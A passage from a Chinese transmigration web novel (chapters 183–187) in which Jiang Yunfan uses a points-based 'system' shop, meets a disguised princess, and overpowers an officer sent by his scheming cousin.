这就是那个,总能毫无意外地让人感到意外的家伙!
许灵嫣此刻已经把眼睛瞪大,整个人呆在原地。
坐在对面的秦七汐见她这副模样,自然也明白了一切,果断伸出小手一抓,捻起一根放进嘴里……
“!!”
一双绝美的桃花眼,当即闪烁无比兴奋的光芒。
果然,江公子只要一出手,那便是一次超出认知的震撼!这小零食除了有点辣之外,每一丝的味道都美妙至极。
关键即便是辣,也辣到恰到好处。
换作别的地方,上哪去找这样的美味?
想到这,秦七汐不禁轻蹙了一下眉头,眼神有些迟疑地看向许灵嫣:“灵嫣,要不……你多吃点菜?今天洪老厨可是花了大功夫!”
许灵嫣当即一脸警惕。
她哪里还不懂这小郡主的意思?又想像鸡精面那次一样,吃独食!
这次许大小姐学聪明了,就在秦七汐问出这个问题的片刻后,她一声不吭地伸出手,将那盘中的薯条狠狠抓过一把。
好东西只有攥在自己手里,才是属于自己的!
秦七汐显然也不是反应迟钝的主,就在许灵嫣抢过一把之后,她直接将盘子揽了去。
两人将薯条分而食之,辣味也在口中不断沉淀。
许灵嫣终于辣得不行了,稍作休息,视线也随即落在那琉璃杯中的黑色液体上。
“小汐,这个也是江云帆送的?”
“嗯。”
许灵嫣用力皱紧眉头。
她端起那杯子仔细端详了一番,心中越发疑惑:“他不会……是想毒死你吧?”
秦七汐也将目光移向杯盏。
诚然,从色泽来看,这东西确实很像毒药,而且其中还不断升腾着气泡,似乎是毒上加毒,非一般毒!
“要不咱们还是先别喝吧……”许灵嫣一脸担忧。
然而秦七汐却忽然端起杯子,一口饮下。
“好喝!”
第183章 再遇秦璎
夜色渐深,怀南城的街头,远比镜源县热闹百倍。
江云帆溜溜达达行走在街边,时而买些小玩意,时而看看热闹,尽情享受着这份闲适。
遥想前世做牛马,连两天放松的假期都是贪妄,更别说是投身自然,来一场惬意的旅行。
如今他不愁吃,不愁穿,身在古代却能用上未来的东西,好不快活?
只是这段时间经历的事情多了,江云帆的观念也发生了一些改变。
以前他只想着躺平,降低自己的存在感,能苟就苟。可如今却觉得,人在江湖,很多时候是身不由己的。
就算抛开原主的恩怨情仇不谈,顶着大雨将自己背到医馆的江滢,能不能不管?
收留自己,对自己关怀备至的白瑶,能不能不管?
身拥绝世奶量,又对自己无限信任的秦小姐,舍不舍得割弃?
所以人无论在哪一个世界,都会有躲不开的牵绊,要想通过低调来享受生活,很难。要想什么都不管,除非自己真的泯然众人。
【叮,震惊达成,来自秦奉的情绪值:+378!】
哦?
这脑子里的铃声一响,江少爷立马就憋不住笑了。
算起来,逛这会街不过十来分钟,他又收到了总计三波情绪值。除了来自南毅王秦奉的这一次,另外两次分别来自秦七汐和许灵嫣。
其中最给力的自然是秦七汐,790点基础情绪值,再额外提升50%,总计1185点!
想来,这财神爷妹子应该是拿出了江云帆送的小零食。
先前还吐槽人家不努力,结果不仅努力,还带动身边人一起努力,上哪去找如此贤惠的姑娘?
江少爷一边漫步,一边舒舒服服地开始数自己的情绪值余额,总计13452点,简直是一笔巨款!就等着系统刷点现象级的好东西了。
“公子……公子请留步!”
恰在这时,一道呼喊声响起。
江云帆闻言驻足,扭头看向一旁道口追过来的男人。那人一身灰色便衣,藏在衣角缝隙间的铠甲鳞片,在城内各处灯火的照耀下无所遁形。
这人……不就是白天在镜湖边花三十两银子,买了他三块压缩饼干的北方来客吗?
“没想到在此地又见公子,当真是幸运万分!”
常牧看起来很激动,一张脸都因血气而添上了几分红润,“公子,你可还记得在下?”
江云帆点点头:“自然。”
他大致还记得,对方名叫常牧,听口音应该是京城人。观其站姿和体态,挺立的腰背,大概率是个段位不低的习武之人。
尤其对方口中的小姐,叫秦璎,显然不是什么普通人家。
常牧很客气,连笑容里都带着几分恭谦:“既然公子还记得,你我又有缘,那不如将白天那干饼再出售在下一些,我愿出双倍价格!”
说罢,竖起两根手指。
然而江云帆只无奈摇头:“没办法啊老哥,之前我就已经说过了,此物数量稀少,不是有钱就能买得到的。还有……这玩意儿叫饼干,不是干饼。”
“唉,可是我家小姐实在喜欢,这可如何是好……”
正说话间,自不远处道口,一位身着蓝色襦裙,仪态翩翩的女子,正于侍女的陪同下朝这边款款而来。
“老常,是遇见熟人了吗?”
女子在常牧身边站定,目光又落在江云帆脸上,当即微微一愣。
这时常牧连忙抱拳:“回小姐,这位公子正是白日我们路过湖边时,在凉亭下遇见的那位。”
秦璎点点头。
随后朝江云帆露出一抹微笑:“公子,又见面了,今日湖畔多谢指路。”
她自然认得这张脸。
虽然当时在湖边,她只是远远看了一眼,但这张脸还真是让人记忆深刻。模样可称俊朗,眼神里更是有一种与穿着打扮极为不符的桀骜和飒然,尤其身为一介平民,在面对他们这类贵族时,竟没有半分怯意。
这属实奇怪!
“客气了,我这人向来喜欢行善。”江云帆礼貌一笑。
此刻他也看清了秦璎的模样,标致精巧的五官,雪白细嫩的皮肤,长发于背后垂落,一双金色坠子在耳下微微发亮。
嗯,是个很漂亮的女孩子!
看着岁数应该不大,声音也与年龄相符,带着几分萌萌的少女音。
至于个头,目测一米六左右,相对高挑,但还称不得出众。
不过若论颜值,恐怕比起许灵嫣这位在京城出了名的大美女,都还要稍稍强上两分。
而且也不知是不是错觉,江云帆总感觉这姑娘的容貌竟与秦七汐有着一点点的相似!当然,也有十分明显的区别,比如秦璎是标准的杏眼,而秦七汐的眼睛,则是一双勾魂夺魄的桃花眼。
“敢问公子,中午那美食,可还有余?”
“方才我已与这位老哥谈过了,那东西是稀罕物,有价无市。”
“那真是可惜了。”
秦璎的表情肉眼可见地失落了几分,不过很快又转移了话题,“小女子初来江南,一无熟人二无亲友,不知公子尊姓大名,能否结交一番?”
旁边的常牧也急忙附和道:“小姐家中乃是京城富商,公子日后若是有需要,我们定能帮上忙!”
交朋友?
江云帆摇摇头:“还是不必了,我乃无名小卒,胸无大志,且今日也才刚到怀南城,恐怕帮不上小姐什么忙。若你实在想要那饼干,我这还有一点,就……原价给你吧!”
说着,便从衣间掏出了几袋压缩饼干,递上去。
江少爷个人不是很喜欢交朋友。
第一,他爱财,但取之有道,这种依靠别人致富的路子不可能走。
第二,他好色……也不见得很好色。
不过不管怎么说,秦璎虽然漂亮,但还不至于迷得他江少爷神魂颠倒,若真那么容易被蛊惑,现在不得随时随地缠着他的大奶牛?
“行,多谢公子,不过既然此乃稀缺之物,我愿用双倍价格购买!老常……”
“是,小姐。”
常牧点头应允间,掏出了一张百两银票,递到江云帆手里。
江云帆收入兜中,喜滋滋。
好家伙,还有人愁钱花不出去的!
“若无其他事,在下便先行告退了。”
说完,也不给对方回答的机会,果断扭头就走。
身后立马传来秦璎的呼喊:“公子,你若在怀南城遇到难事,或需要任何帮助,可于状元阁寻我!”
……
第184章 她好像见过对方
“向奴家打听江公子的人,每日都不下半百。有人以重金相许,有人以威名相逼,小姐如何觉得,奴家就一定要告知于你呢?”
在琴曲演奏结束后,翩翩刚一回到状元阁的后台,便遇见了秦睿与秦璎两人。
对方找她的目的也不出意外,同许多才子学士、显赫世家一样,都是想要打听与江公子有关的信息。但她的回答也一样——知道,但不说。
“翩翩姑娘,我方才也小小贡献了五百两银子,算是暂居榜首……为此,姑娘且莫要如此冷漠嘛。”
近距离见到翩翩,秦睿更是心动。
作为高贵的南毅王嫡子,他也不是没见过美女,无论是名扬帝京的“四美”,又或是春晖宫中号称仙子下凡的“青姬”,甚至包括自己身边这位“大乾明珠”秦璎,哪一个不是人间绝色?
但这些女子虽然漂亮,却都因身份挂得太高,少了几分媚态。
不似翩翩姑娘,那柔弱的小眼神,举手投足间散发的诱人气息,尤其那红裙旁侧开衩的缝隙之间,一条光洁柔润的玉腿若隐若现,看得人真是……昂首难垂。
此刻翩翩微微鞠了一躬,胸口的雪白更是顷刻乍现,秦睿险些让血液冲破天灵盖。
然而一句话,却给他泼了盆冷水。
“多谢公子抬爱,下次奴家上台,可为公子保留首座。”
就这?
这就完了?
秦睿叫苦不迭,本想凭借着钞能力,这么着也能一亲芳泽吧?要知道五百两银子,都足够在怀南城的上等窑子里泡上两三个月了!
他倒不在乎花钱,在乎的是求而不得。
就在秦睿难受之时,一旁的秦璎忽然伸手推了推他的手臂:“要不,咱们还是聊正事吧。”
“好好。”
秦睿连忙收拢情绪,一脸正色地看向翩翩,“姑娘,我这小妹与别人可不同,别人能许诺给你的那点金银,在她眼里不过九牛一毛。”
然而翩翩依旧摇头:“公子难道还不明白,奴家并不求财。”
“不求财?又怎会在此……”
秦睿确实不明白,如果不在乎钱财的话,又何必委身来这风月之所卖艺,难道就一点也不在乎自己的名声吗?
这话他没说明,但翩翩自然理解其中含义。
所以她求的是什么?
“也许……是求一丝慰藉吧。”
这一刻翩翩笑了,笑容很凄凉。
万灯节啊……已经过去了好几日,可那晚湖上的清风依旧在吹,吹着她全身上下每一寸肌肤,好似沐浴温露。
那晚的明月也依旧在亮,从镜源到怀南,皓明千里。
还有那晚的琴声,歌声,依旧在响,一刻也没离开过她的耳畔。
从秋思客栈离开那一刻,翩翩追求的不过是一个放下。放下仇怨,也放下爱慕,只希望那个月下抚琴的身影能从心里永远消失,就好似从未出现。
可后来她发现自己错了。
哪怕远去几百里,隔着茫茫镜湖,当她用手指触碰琴弦时,情不自禁奏响的,还是那段旋律……
“难不成姑娘,为情所伤?”
在秦睿的疑问声中,翩翩逐渐回过神来。
她再次露出一抹职业式的微笑:“公子不必细问,都不重要了。”
“好吧,倒是姑娘当真无欲无求?”
“也不是,若小姐能为我办成一件事,奴家便将这作词谱曲之人的身份,尽数告知。”
视线集中到了秦璎的身上。
公主殿下一脸坦然:“你可以直说,凡是我能做到的,一定不会推辞。”
“好!”
翩翩浅笑着站起身,那开衩的裙摆立马将雪腻的大腿藏匿了起来,急得秦睿焦灼不已。
“此事共分两步。第一,几日后的王府大宴,我想要一张邀请函。第二,宴会之上,一次为王上殿下献舞的机会!不知以小姐的力量,能否办到?”
听到这话,秦璎的眉头微微皱起。
她不禁反问:“即便能在王府献舞一支,也未必能夺得太多关注,姑娘此举是为何?”
一介风尘女子,想要为南毅王献舞?
其目的,很难让人不怀疑。
“不瞒小姐,奴家此生最是敬爱英雄,而若要论英雄,这大乾恐怕无人能出南毅王之右,所以……”
“哎呀小璎!”
秦睿在一旁都有些急了,“翩翩姑娘不过是想在大宴上跳一支舞,能有什么坏心思?那日本就有歌舞表演,况且出入府内都不得携带兵刃,不必担心!”
翩翩姑娘前往王府,可是踩上了他的地盘。
那到时候……
“王兄,作为主人,她这条件你更容易办到吧?”秦璎压低声音道。
“不行啊,父王压根就不听我的,这事还得拿你公主的身份去!”
“哎,行吧。”
秦璎回头正视翩翩:“我答应你,两日之内给你答复。那么我要的消息……”
“我目前可告诉小姐的,那作词的男子乃是镜源县人,爱好隐居,性格洒脱,不慕权贵,年龄……比你大不了多少。”
“什么?”
秦璎一双眼睛当即瞪大。
一个年龄比她大不了多少的人,竟能做出此等绝妙的词曲?
“此外,前段时间镜湖文会,那首震动天下的‘东风夜放花千树’,也是出自他手。”
“!!”
这一刻,秦璎只感觉全身上下都凉了几分,四肢更是僵硬得无法动弹。
一位如此年轻的男子,怎么可能连续创造两首如此令人震惊的词文!
关键对方,还真是自己此行要找的人!
秦璎一时激动不已:“姑娘可知那人相貌?”
说起模样,翩翩顿时愣了片刻。
那张在她心中近乎完美的脸,立马浮现脑海。
“他……”
她把江云帆的样子,按照自己的记忆,模模糊糊地描述了一遍。
这可把秦璎惊得不轻。
怎么对方所说的样子,她好像在哪里见过?
第185章 可收纳仓库
“系统,能换货不?”
“把那小电驴儿给我退了,换辆豪华房车就行。”
空荡的房间内,四下静静悄悄,江云帆的呼唤并没有得到系统的回应。
倒是把江滢给喊醒了。
小姑娘腾地一下在床上坐直身体,双手猛揉了两下睡眼:“唔……哥,你说什么?”
阳光映着浅小麦色的肌肤,虽然健康好看,但整个人都是傻傻的。
“没什么。”江云帆翻身而起,“咱们得走了,不然官兵查起来,把我俩当黑户抓起来就麻烦了。”
说完,一边开始收拾被褥,一边打开系统商场。
今日的橱窗已经刷新,系统并没有如他所愿,刷个房车啥的出来,不过就算刷出来估计也买不起。
不过在那一列商品中,却有那么一件惊喜之物!
【系统商城(刷新时间16:45:18)】
【一、精装食用盐500g,售价:20情绪值】
【二、太太乐鸡精500g,售价:50情绪值】
【三、金龙鱼菜籽油10L,售价:400情绪值】
【四、老坛酸菜牛肉面(5袋装),售价:500情绪值】
【五、力量丹I阶,售价:500情绪值(今日五折)】
【六、[功能升级]获得10格可收纳系统仓库,售价:3000情绪值】
【七、84式微型手枪(配6发7.62mm子弹),售价:28500情绪值(已锁定)】
【情绪值余额:13981】
……
果然,不愧是绑死的系统,连他心里想的什么都知道。
花费3000点情绪值,换得一次功能升级,能够在系统空间中开辟一个新的仓库。
这个仓库比较特殊,所有从系统商场中兑换的商品道具,既可以从中拿取,也可往里面存储,每种东西占用一个格子,总计10个格子。
虽然价格比较贵,但绝对值得。
至少从此以后,一些比较厚重的东西可以随身携带了,就比如那个小电驴儿,往仓库里一收,再也不用担心成为众矢之的。
除此之外,那力量丹也是种比较稀有的道具。
从系统视窗中的介绍来看,服用过这玩意之后,能够提升习武之人体内流转的气息浓度,从而影响力量的大小。
具体能提升多少,与丹药的等级有关,也受服用者的修为和体格影响。
江云帆果断大手一挥,两样东西入账——
【叮,兑换[可收纳系统仓库]成功,花费情绪值3000点!】
【叮,兑换[力量丹I阶]成功,花费情绪值500点!】
至于其他的商品,因为需要积累情绪值兑换小手枪,所以暂不考虑。
借着江滢洗漱的机会,江云帆偷偷跑到后院,把小电驴收入仓库,同时掏出那力量丹一口吞下。
随着腹中一股火热的气息燃过,他只觉得体内力量翻涌。
“嚯嚯——”
隔空打了两拳,自我感觉,这力道比起之前应该强了10%的样子。如今要是对上没有修习武道的壮年男性,一坨子能给对方打骨折。
回去收拾好东西后,领着江滢便出了客栈。
昨天在城内逛了几圈,江云帆大致已经熟悉了几处街区,知道北城有一座茶楼,名为“南客”。
这茶楼位于繁华地段,隔着一条街道,对面就是怀南城最高贵的酒楼状元阁。
核心要地,周围时刻有士兵巡逻,治安相对有保障。
他打算暂时在那里落脚,毕竟总不能带着江滢在外面瞎转一整天。
一番步行,大概花了一炷香的时间便抵达目的地。
然而还未走进大门,便迎面遇上了一位老熟人。
“江云帆?你怎么在这里!”
“怎么,你能在我就不能在?哦对了,程公子你应该在,正好我有事找你!”
出现在茶楼门口,一身淡蓝锦绣长衫的贵公子,正是尚书右丞程万继之子,程修齐。
江云帆见到程少爷的那一刻,就好像见到了春日里的阳光。
他果断踏步上前,一把抓住对方的手腕,防止其逃跑。
“做什么做什么?”
程修齐用力挣扎,却发现这小子的力气竟如此之大,根本就摆脱不了,无奈只得妥协:“说吧,你有什么事?”
“找你还我钱。”
“还钱?”程修齐一脸茫然,“本公子什么时候欠你钱?”
“啪!”
一声清响,江云帆掏出了此前在凌州售卖玉佩时,珍宝行开具的那张凭证,并狠狠拍在对方手上。
随后一脸正色道:“程公子当初可是说过,你那块玉佩价值白银千两,可后来经由几位行内专家鉴定,都觉得只值七百两。如此说来,当日湖畔你我赌注并不均等,为求公平,现在你得补上我三百两!”
“什么?”
程修齐人都傻了。
随便拿个单子,就要来找自己补账,天底下怎么会有这么不要脸的人?
关键是,当日念荷亭下比诗的结果,他并不服气!
“你还好意思问我要钱啊江云帆,当初我怎么就没看出你是这种小人?”
原本因为那日的比试,他还挺钦佩江云帆的才华。
可后来烟凌城的侯茂杰已经查明真相,这小子与如云居士走得近,估计刻在亭柱子上的那首诗,也是抄袭而来。
说到底,不过是个沽名钓誉之辈!
程修齐原本愤慨不已,但转念一想昨晚发生的事情,又忍不住露出一抹冷笑:“不过还好老天有眼,如今你也算遭了报应,大祸要临头了!”
“就算要大祸临头,那三百两你也得先给我。”江云帆笑脸以对。
这可把程修齐恶心坏了。
“不是,连命都快没了,还想着钱呢?昨晚王府亲军在城内大规模寻人,这事儿你知道吧?”
“知道啊。”
可不是知道吗,要不是因为这档子事,江少爷今天也不至于被赶出来,连住的地方都没有。
“你难道不清楚,王府要找的人是你吗?”
程修齐满脸幸灾乐祸,“这一切,都因你当日在亭上刻字,已经触动了王上殿下逆鳞!那可是为王妃修建的观景亭,知道王妃在王爷心中分量有多重吗?你今天还敢招摇过市,说实话我都挺佩服你的勇气!”
听到这话,江云帆不为所动,旁边的江滢却当场慌了。
“哥,他说的是真的吗?”
江云帆安慰式地拍拍她的手。
而后转头看向程修齐:“程公子还是太抬举我了,我一个平头老百姓,还不至于惊动整个王府。倒是你,若还在乎家族声誉,就把欠款给结了,别想着赖账!”
他确实不信对方的话。
因为沈老大儒可是说过,为褒奖他在念荷亭中题诗,王府还特地赠送了一张邀请函。邀请赴宴,又派兵捉拿,谁没事干左右脑互搏?
“呵,笑死……给你又如何,你有命花吗?”
程修齐果断从衣间摸出三张百两银票,往江云帆面前一晃。江少爷眼疾手快,直接夺了过去。
“有没有命花,那就不劳程公子操心了!滢滢,我们走。”
“哼,本公子今日就在对面赏曲,等着亲眼看你被官兵抓走!”
双方各自转身离去。
江云帆带着江滢入了“南客”茶楼,而程修齐则穿过街道,进了对面的状元阁。
在二楼的一间雅阁里,他找到了刚才抵达的江元勤。
“元勤,你的官位交接办妥了?”
“还没,不过已经我拿到了官令。”江元勤从怀中拿出一块令牌,嘴角挂着冷傲的微笑,“从现在起,我便是怀南城的新主簿,从四品要员!”
“江大人,恭喜恭喜!哈哈哈……”
程修齐迈步走到江元勤对面坐下,接着又朝窗外扬了扬下巴。
“元勤你猜猜,刚才我在楼下遇见谁了。”
“谁?”
“你那弟弟,江云帆!”
“他怎么也来了?”
江元勤脸色立马变得难看起来,心里的厌恶更是完全展现在表情上。
一说起江云帆,他便想起之前在江家,这小子让自己承受的奇耻大辱!
逼迫自己和父亲跳泥坑,借着被他蒙骗而来的那位大小姐的权势,在江家耀武扬威,甚至还导致孙统领当众咒骂于他。
他江元勤,一辈子都没有如此憋屈过!
“有件好事,跟你分享一下。”
程修齐将念荷亭题诗,到如今王府寻人的“前因后果”,一五一十地跟江元勤说了个明白。
后者听罢,眼前顿时一亮。
“那这么说,这小子是得罪王爷了?”
“正是!你想啊,整个大乾上下,谁人不知王爷对王妃痴爱如命?江云帆胆敢在为王妃修建的亭中胡乱刻字,王爷能不生气?”
“好啊……”
太好了!
江元勤觉得,今日又是幸运的一天。
拿到官牌不说,想要找江云帆复仇,正担心山高路远,这小子便主动来了怀南城。
而且,还恰恰得罪了王府!
那南毅王秦奉什么人?谁若是亵渎他心爱的王妃,结局只能是死无葬身之地。
江云帆身边那白裙女子虽然高贵,但再高贵能高过南毅王府?
想到这,江主簿心中突然生出一计。
“让官兵自行寻找还是太麻烦了,不如咱们稍稍帮一把?”
程修齐歪过头:“你是想……直接把人叫来?可那些巡逻的士兵又怎么会听咱们的话!”
“别忘了我如今的身份。”
“对啊!”
江元勤如今可是怀南城的主簿。
不说有权力调用王府的亲军,至少他说话,别人是一定会信的吧?
“走,现在就去!”
两人迅速自雅阁而出,直奔楼外。
……
与此同时,王府临汐苑。
秦七汐今日换上了一套全新的长袍,依旧是白色金丝底,不过更为束腰修身,下摆也更长,一缕白色绳带顺着长发垂落,整个人看起来越发窈窕挺拔,亭亭玉立。
她本想开开心心出府寻人,却不曾料到,被严横带人堵在了门口。
“严将军为何阻拦本郡主?”
“望殿下见谅,末将也是奉命行事,王爷还吩咐我将此信交于郡主。”
身高过两米的严统领恭恭敬敬弯下腰,将一张纸条递到秦七汐手上。
小郡主打开一看,上面就短短一行字——
“别忘了父王的话,莫要去找他,且待他来寻你。”
“……”
秦七汐只觉得原本阳光明媚的天空,立马就灰暗了几分。
她理解父王的用心,但就是觉得自己不能出府去寻江云帆,心里实在是憋得慌。而且,如果他一直不来找自己,难道就要这样一直等下去?
关键的关键,为了见江云帆,她今天还特地做好了准备……
如果见不到,那得多遗憾?
“这么多人,好生热闹啊!”
忽然此刻,自临汐苑门外的远处,传来一道清亮的女声。
严横转头见到来人,当即大惊,连忙招呼手下行跪拜之礼,同时口中高呼:
“参见公主殿下!”
第186章 龙念铁令怎么会在他手里
有些东西的与众不同,从外表便能一眼看出来。
就好比手里这个表面平整,能够反射阳光,用手指触碰时还“哗哗”作响的袋子。
秦七汐长这么大,就只在江云帆那里见过与之类似的东西,其特点都是叫不上名字,更不知是如何生产出来的。
所以在秦璎递上这块压缩饼干时,她心里便下意识地猜想,这一切会不会和江云帆有关。
“汐姐姐,快尝尝好不好吃!”
秦璎一脸希冀,活像是得了一件让自己无比骄傲的宝贝,迫不及待地想要在别人面前显摆一番。
秦七汐倒也没有拒绝,她沿着饼干袋子上的锯齿口,十分顺利地将其撕开。
这开封的方式,与江云帆送的薯条一般无二。
这可把秦璎吓了一跳,昨日她研究这玩意儿,可是研究了好一阵,按理说秦七汐应该没有见过才对。
“嗯——确实好吃!”
啃下一口之后,秦七汐赞叹不已,“香酥清甜集为一体,确实是不可多得的好东西,谢谢小璎。”
“汐姐姐不必客气,妹妹有稀奇的东西,自然应该带给姐姐尝尝。”
秦璎的笑容很是灿烂,显然要的就是这样的效果,毕竟能让这出了名高冷的临汐郡主感到震惊,这种机会可不多。
见她这副模样,青璇有些不服气。
于是偷偷压低身体,在秦七汐耳边轻声说道:“殿下,公主好像是来炫耀的。”
“你去把江公子送的薯条拿出来,也让公主试试口味。”
“明白。”
青璇迅速走了一遭,将装盘的薯条摆上了桌案。
秦七汐伸手示意:“我这也有别人所赠的稀奇之物,小璎你也试试?”
秦璎将目光移向盘中,心里不免好奇,这里面的东西确实未曾见过。
不过,应该不至于比她的饼干更好吃。
想到这秦璎果断伸手拿了一块,毫不犹豫地送进嘴里。
下一刻,双眼猛地一瞪。
“这……”
天底下怎么会有这种的味道?
入口香辣酥脆,回念满是余味,在“咔咔咔”嚼碎那一刻,鲜美仿佛直通头顶!
相比之下,至少在味道方面,自己的饼干明显逊色了不少。
“汐姐姐,这个东西……到底是谁送的?”
“也是由一位与众不同的奇男子所赠,往后若有机会,可引你与之见面。”
“好吧。”
秦璎点点头,脸上明显闪过一丝失落,“那没有什么事,妹妹就先离府去状元楼等人了。”
“路上注意安全。”
“好。”
秦璎起身作了个别,随后匆匆忙忙出了王府。
……
与此同时,城内南客茶楼。
江云帆也领着江滢,在一间雅阁之中落脚,并顺便叫了两杯好茶。
就在这时,脑海中铃声响起——
【叮,震惊达成,来自秦璎的情绪值:+318!】
又来?
这姑娘有些莫名其妙,总在**的角落偷偷贡献情绪值。
江少爷也没有多想,安顿好江滢之后,就来到楼下,找到了门口负责迎客的一名小厮。
“小哥,打听点事。”
他往对方手里塞了两块碎银,那长相干瘦的小伙子立马点头哈腰:“嘿嘿,客官您随便问。”
江云帆抬头看了一眼大门外:“你可知道,号称江南医圣的韩锦山先生,居于何处?”
“这个嘛……”
小厮皱着眉头苦思一番,有些不确定道,“不瞒客官说,这韩神医神龙见首不见尾,很少有人知道他固定的居所,不过他最后一次出现……”
“应该是上个月月底,他到王府为郡主殿下诊过病,之后去了哪里就不知道了。”
“行,谢了小哥。”
“客气客气。”
江云帆挥了挥手,迈步走出茶楼。
看来这王府还必须得去一趟,一来为打探韩神医下落,而来,也能找找秦七汐在哪。
众所周知,整个怀南城姓秦的就只有南毅王一家。
而如果秦七汐的说法属实,她的家族是因为受先帝封赐,才得以拥有国姓,那么她自然是从外地而来,到怀南城,是为参加王府大宴。
如此说来,她在此期间,多半也住在南毅王府。
只是江云帆有些拿不准,如今大宴日期未至,凭借手里的邀请函,能否让他顺利进入王府?
“江云帆,给我站住!”
正思考时,突如其来一声厉喝从街边响起。
紧接着,一列身着黑色甲胄的士兵从巷口奔行而来,迅速围住茶楼外的街道口,封闭江云帆所有退路。
人群中走出两人,各自穿着锦绣华服,还都是熟悉的面孔。
其中一人,是刚刚才见过面的程修齐。
而另一人,居然是江元勤。
“又见面了啊,三弟!”江元勤双手抄在怀间,嘴角挂起一抹冷笑。
江云帆迎面看他:“怎么,二哥上回没和大伯一起洗泥浴,心里不太舒服?”
“你……”
江元勤气得咬牙切齿,“江云帆我任你嚣张,今日便是你的死期!”
他的眼神闪过一丝狠毒。
再次见到江云帆,他恨不得将其**万段,以报数次掌掴和当众侮辱之仇!
“王将军。”
江元勤转头朝旁边一名身披斗篷的武将抱拳,而后伸手一指江云帆,“此人便是王府要缉拿的**,他曾故意破坏王爷为王妃修建的观景亭,而今又隐藏身份潜入怀南城,多半与那南济**子潜入有关,还请王将军速速将其拿下!”
王奋乃是王府亲军当中的一位指挥使,手下掌管士兵百人。
如今不逢战事,他便被指派在城内进行一些治安巡逻的任务,混在坊间,也算是个有头有脸的人物。
不过即便如此,为了自己的仕途,他还是得讨好一下未来的主簿大人。
“动手,将此人给我拿回营中!”
“等会!”
江云帆挑眉看向王奋,“这位将军,凭借别人一面之词就抓人,你难道就不怕抓错?”
“哼,
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笑话。”
王奋一脸痞气地咧咧嘴,“小子你可知道,这位乃是怀南城的新主簿,难不成他会诬陷你一个毛头小子?再说了,就算抓错了又有何妨,难不成,凭你也能找人治我?”
“没错江云帆,元勤就是新到任的怀南主簿,认清楚差距了吗?”程修齐站在一旁,也是格外嚣张。
而有了人吹捧之后,江元勤下巴都快要扬到天上去。
爽!
这种权力在手的感觉,就是可以想做什么就做什么,尤其对付江云帆这种小苍蝇,轻而易举就可以碾死。
“告诉你吧江云帆,我就是要让你明白,跟我斗,不会有好下场!”
“你不是狡辩我空口无凭吗?那你把身份令牌拿出来,让王将军看看,也好证明自己没有勾结外敌啊!”
“没错,你说本将军抓错人,那你就把身份令牌拿出来。”一旁的王奋也开口道,“如果拿不出,那就乖乖束手就擒,免受些皮肉之苦!”
好啊!
江云帆看明白了,江元勤就是吃准了他拿不出身份令牌,所以才故意说了这番话。
毕竟一旦无法证明自己的身份,那就等同于变相承认了自己有问题。
“大人,我看见他的令牌了,就在那里!”
就在这时,一名玄甲士兵突然呼喊一声,手指也移向江云帆腰间。
这倒是让江元勤有些意外。
按理说,江云帆当初被驱逐出江家,可谓“净身出户”,而今怎么也不可能拿得出身份令牌啊?
他连忙朝王奋递了个眼色。
后者心领神会,微微一笑道:“小子,把身份令牌拿出来,待本将军查证,也可还你清白。”
王奋表面义正词严,实际内心却在打算盘。
新主簿让办的事,那自然得办好。如果这小子当真拿出了令牌,他大可以直接毁掉,对方一介平民,能奈他何?
“令牌?”
江云帆自己都有些纳闷,他哪里来的身份令牌?
低头往腰间一看,果然发现那里明显有一块令牌形状的凸起。
“你是说这个?”
他伸手一掏,掏出一块金色的令符。
那块令符,正是此前由秦七汐所赠,可以用来给墨羽这样的侍卫下命令的凭证。
“等……等等!”
王奋忽然浑身一颤。
瞪大双眼看着那令符,整个人都僵在了原地。
“这,这令符……怎么可能!”
“扑通!”
一声闷响,王奋直接双膝瘫软跪倒在地。
他只觉得嗓子干哑,身体不受控制,嘴里也根本说不出话来。
刹那之间,他感觉自己的天空直接塌了下来,将他整个人狠狠砸入地底。
这怎么可能啊?
三个月前,他尚且是江南最强军队——龙念铁骑中的一员,只是后来才因实力不够而被踢出队列,到王府护卫军中当了个指挥使。
可即便如此,对于那小子手里的令牌,也是再熟悉不过了。
执掌此令牌者,可号令三千龙念铁骑!
第187章 见过常将军
这南客茶楼外的街道,本就是怀南城最为繁华热闹的区域之一,商贩群集,游人遍地。
此刻有热闹看,一个个都伸长了脖子,不远不近地围在四周。
“完了……彻底完了!”
王奋身体一软,竟直接瘫在了街头。
现在他感觉耳朵在轰鸣,脑子里也只剩一个想法。
眼前这身着布衣,一身平民打扮的男子,他家手握龙念铁令,必然是深受郡主信任之人。那么自己得罪了对方,怕是寻了一千种一万种死法!
早知道刚才就稍微客气一点,那样到如今也还有转圜的余地。
“王将军,你这是作甚?”
王奋的反应着实把江元勤吓了一跳。
他叫人来是收拾江云帆的,怎么这会儿却给那小子跪下了?
“快起来啊!此人不过是个无权无势的乡野村夫,你何需惧他?”
“乡野村夫?”
王奋脸都苦了,“你可知道这令符什么来头?”
他真的恨死江元勤了。
你说你想抓人,就不能先调查清楚一点吗?对方乃是郡主亲信之人,如此重要的一点都还没弄明白,就贸然行事,这不纯粹找死?
找死便罢,最后把我也拉下水!
王奋更是没想到,他都这表情了,江元勤依旧一脸淡然自信。
“无论这令符什么来头,王将军都不必担心……因为那必然是伪造的!不瞒你说,我对此人十分了解,他就是一个一无是处,被家族驱逐出门的废物罢了!”
伪造的?
王奋眉头一松,对啊!
方才是自己太过激动,忽略了事情最重要的一环。若对方真有资格拿这龙念铁令,那必然是王府的座上宾,又怎会穿着如此朴素一身,行走在街头?
“好你个大胆贼子,居然敢伪造龙念铁令,你已有取死之道!”
王奋直接爬将起来,将令符塞进怀里。
随即再度变成那不可一世的姿态,嘴角一撇:“都跟我上,将此人抓去营中,先杖打八十再说!”
说罢果断带头冲上去。
在他看来,眼前的小子也就身长还行,体格顶多算个平庸,就算敢反抗,也无论如何不是他的对手。
“砰!”
正想着,突然眼前一黑。
一股剧痛从鼻梁之上诞生,瞬间爬满整个面门,痛到他牙齿都酸了。
“呃啊……”
一声惨嚎,王奋连忙用手捂住脸,狼狈往后倒跌而去。
痛,好痛!
他痛得浑身颤抖,连手指都在疯狂抽搐。
而反观全场观众,全都傻眼了。
任谁也没想到,这位王府亲卫军的指挥使大人,居然一照面就挨了一个毛头小子一拳。
而且这一拳看起来并不轻松!
实际上确实不轻松,经过强身健体丸和力量丹的提升后,再经由江云帆全力挥出,这一拳起码带有六品高手的威力。
这可把江元勤吓得不轻。
看王奋那鼻血横流的模样,他甚至在想要是当初江云帆扇自己耳光也带着这么大力度,岂不是得扇坏半边脸?
可这小子怎么回事?
当年江云帆不是没**过武,但也只跟了师傅两天,便因资质太低被送了回来,如今怎会变得如此勇猛?
“大人,您没事吧?”
一名小兵满脸关切上前询问,却被王奋一掌推开。
